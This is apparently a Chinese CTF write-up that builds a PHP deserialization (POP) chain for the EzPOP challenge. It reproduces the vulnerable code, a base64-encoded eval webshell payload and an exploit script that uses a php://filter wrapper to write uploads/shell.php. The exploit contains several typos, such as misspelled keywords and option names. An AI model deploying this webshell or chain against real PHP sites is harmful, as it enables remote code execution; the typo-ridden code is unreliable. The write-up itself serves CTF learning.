POP链构造的学习
一直学pop链,原理是懂的,但是就是做不出来题目,这次好好总结一下,直接上题目,研究的是
[EIS 2019]EzPOP
这道题还是很有难度的
源代码如下:
1 <?php 2 error_reporting(0); 3 4 class A { 5 6 protected $store; 7 8 protected $key; 9 10 protected $expire; 11 12 public function __construct($store, $key = 'flysystem', $expire = null) { 13 $this->key = $key; 14 $this->store = $store; 15 $this->expire = $expire; 16 } 17 18 public function cleanContents(array $contents) { 19 $cachedProperties = array_flip([ 20 'path', 'dirname', 'basename', 'extension', 'filename', 21 'size', 'mimetype', 'visibility', 'timestamp', 'type', 22 ]); 23 24 foreach ($contents as $path => $object) { 25 if (is_array($object)) { 26 $contents[$path] = array_intersect_key($object, $cachedProperties); 27 } 28 } 29 30 return $contents; 31 } 32 33 public function getForStorage() { 34 $cleaned = $this->cleanContents($this->cache);//$cleaned=array(111=>'hello') 35 36 return json_encode([$cleaned, $this->complete]);//{"111","hello"} String(15)//而base64中没有""{},所以最终变成了111hello 37 } 38 39 public function save() { 40 $contents = $this->getForStorage();$c 41 42 $this->store->set($this->key, $contents, $this->expire); 43 } 44 45 public function __destruct() { 46 if (!$this->autosave) { 47 $this->save(); 48 } 49 } 50 } 51 52 class B { 53 54 protected function getExpireTime($expire): int { 55 return (int) $expire; 56 } 57 58 public function getCacheKey(string $name): string { 59 return $this->options['prefix'] . $name; 60 } 61 62 protected function serialize($data): string { 63 if (is_numeric($data)) { 64 return (string) $data; 65 } 66 67 $serialize = $this->options['serialize']; 68 69 return $serialize($data); 70 } 71 72 public function set($name, $value, $expire = null): bool{ 73 $this->writeTimes++; 74 75 if (is_null($expire)) { 76 $expire = $this->options['expire']; 77 } 78 79 $expire = $this->getExpireTime($expire); 80 $filename = $this->getCacheKey($name); 81 82 $dir = dirname($filename); 83 84 if (!is_dir($dir)) { 85 try { 86 mkdir($dir, 0755, true); 87 } catch (\Exception $e) { 88 // 创建失败 89 } 90 } 91 92 $data = $this->serialize($value); 93 94 if ($this->options['data_compress'] && function_exists('gzcompress')) { 95 //数据压缩 96 $data = gzcompress($data, 3); 97 }/人为控制跳过即option['data_compress']=0 98 99 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//base64 4个字节一组所以<?php// exit();?一共17个字符但是可识别的有php//exit一共9个字符所以再加3个到12个就不会影响到后面的base64解码了 100 $result = file_put_contents($filename, $data); 101 102 if ($result) { 103 return true; 104 } 105 106 return false; 107 } 108 109 } 110 111 if (isset($_GET['src'])) 112 { 113 highlight_file(__FILE__); 114 } 115 116 $dir = "uploads/"; 117 118 if (!is_dir($dir)) 119 { 120 mkdir($dir); 121 } 122 unserialize($_GET["data"]);
我做Pop的题目习惯先找利用点,然后再往上找链条,这样思路更加清晰
首先审计代码,审完之后发现一处利用点:
1 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 2 $result = file_put_contents($filename, $data);
这里的file_put_contents()函数可以写文件,想到的思路是可以向里面写一句话木马然后再使用蚁剑连接
然后我们看file_put_contents()的两个参数$filename和$data,发现上一行$data中有exit();也就是说我们即使向里面写入了一句话木马也无法执行,执行到exit()这里就会退出
所以我们要绕过这个死亡exit()
具体的绕过方法是使用伪协议(file_put_contents()函数的$filename参数是支持伪协议的可以进行base64编码写入)
即如果我们将$filename="php://fileter/write=convert.base64-decode/rescource=./uploads/shell.php"
那么就可以将前面的exit()等内容进行base64解码从而让php解析器认不出来就可以执行我们后面的一句话木马了(当然我们传入的一句话木马是base64编码的,也就是经过解码刚好还原成一句话木马)
现在我们的两个参数都已经确定了即
$filename="php://fileter/write=convert.base64-decode/rescource=./uploads/shell.php"
$data='JTNDJTNGcGhwJTIwQGV2YWwlMjglMjRfUE9TVCU1QiUyN2F0dGFjayUyNyU1RCUyOSUzQiUzRiUzRQ=='
然后我们去找pop链条
即我们想办法看哪里能传参数进来
先找$filename
$filename = $this->getCacheKey($name);//$filename由getCacheKey()函数赋值
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
$filename=options['prefix'].$name//options['prefix']可控可以赋值,就从这里将$filename的值打进去
然后这个$name也是set函数传进来的参数
set($name, $value, $expire = null): $this->store->set($this->key, $contents, $this->expire); public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
这个key是我们可以传进去的
之后我们再来看$data
$data = $this->serialize($value);
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } //如果option['serialize']='strval'其实还是原来//strval()的作用是返回字符串
然后再找$value这个变量
public function set($name, $value, $expire = null)://$value是这个函数传进来的那就找谁调用了这个函数 public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }//发现classA中save()函数调用了set函数,很明显store应该是classB的对象,然后我们找$content这个变量 //
发现这个变量 $contents = $this->getForStorage();是这个函数的返回结果
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
即$content=json_encode([$cleaned, $this->complete])//json_encode()对$cleaned进行编码
那么继续找$cleaned $cleaned = $this->cleanContents($this->cache);//这里的$cache参数可控
找cleanContents
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);//将键值反转即现在为'path'=>0,'dirname'=>1...... foreach ($contents as $path => $object) {//将$contents的键赋给$path,将值赋给$object//这是遍历关联数组的方法 if (is_array($object)) {//检查$object是否是数组,如果是返回true,所以这里应该传一个数组中的一个元素还是数组 $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key($array,$array2)寻找数组$array与$array2中相同键的值($array的值) //举个例子: //$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4); //$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8); //var_dump(array_intersect_key($array1, $array2)); //会发现array(2) { // ["blue"]=> // int(1) // ["green"]=> // int(3) } } } return $contents; }
所以可以开始传参数了:
$cache=array('path'=>array(111=>'PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=')) //这是一句话木马
$options=array('prefix'=>'php://filter/read=convert.base64-decode/./upload/shell.php' )
现在所以的代码都分析完毕了,开始写exp:
<?php class A{ protected $store; protected $key='shell.php'; protecttd $expire=null; public $autosave=0; public $cache=array(111=>array("path"=>"PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=")); public $complete=1; public function _construct($store){ $this->store=$store; } } class B{ public $options=array("data_copress"=>0,'expire'=>0, 'prefix'=>'php://filter/write=convert.base64-decode/resource=./uploads/', 'serialize'=>'strval'); } $b=new B; $a=new A($b); echo urlencode(serialize($a)) ?>
注意:
这里的$cache为什么要写成111=>array()
//base64 4个字节一组所以<?php// exit();?一共17个字符但是可识别的有php//exit一共9个字符所以再加3个到12个就不会影响到后面的base64解码了
所以这里的111就是加的三个字符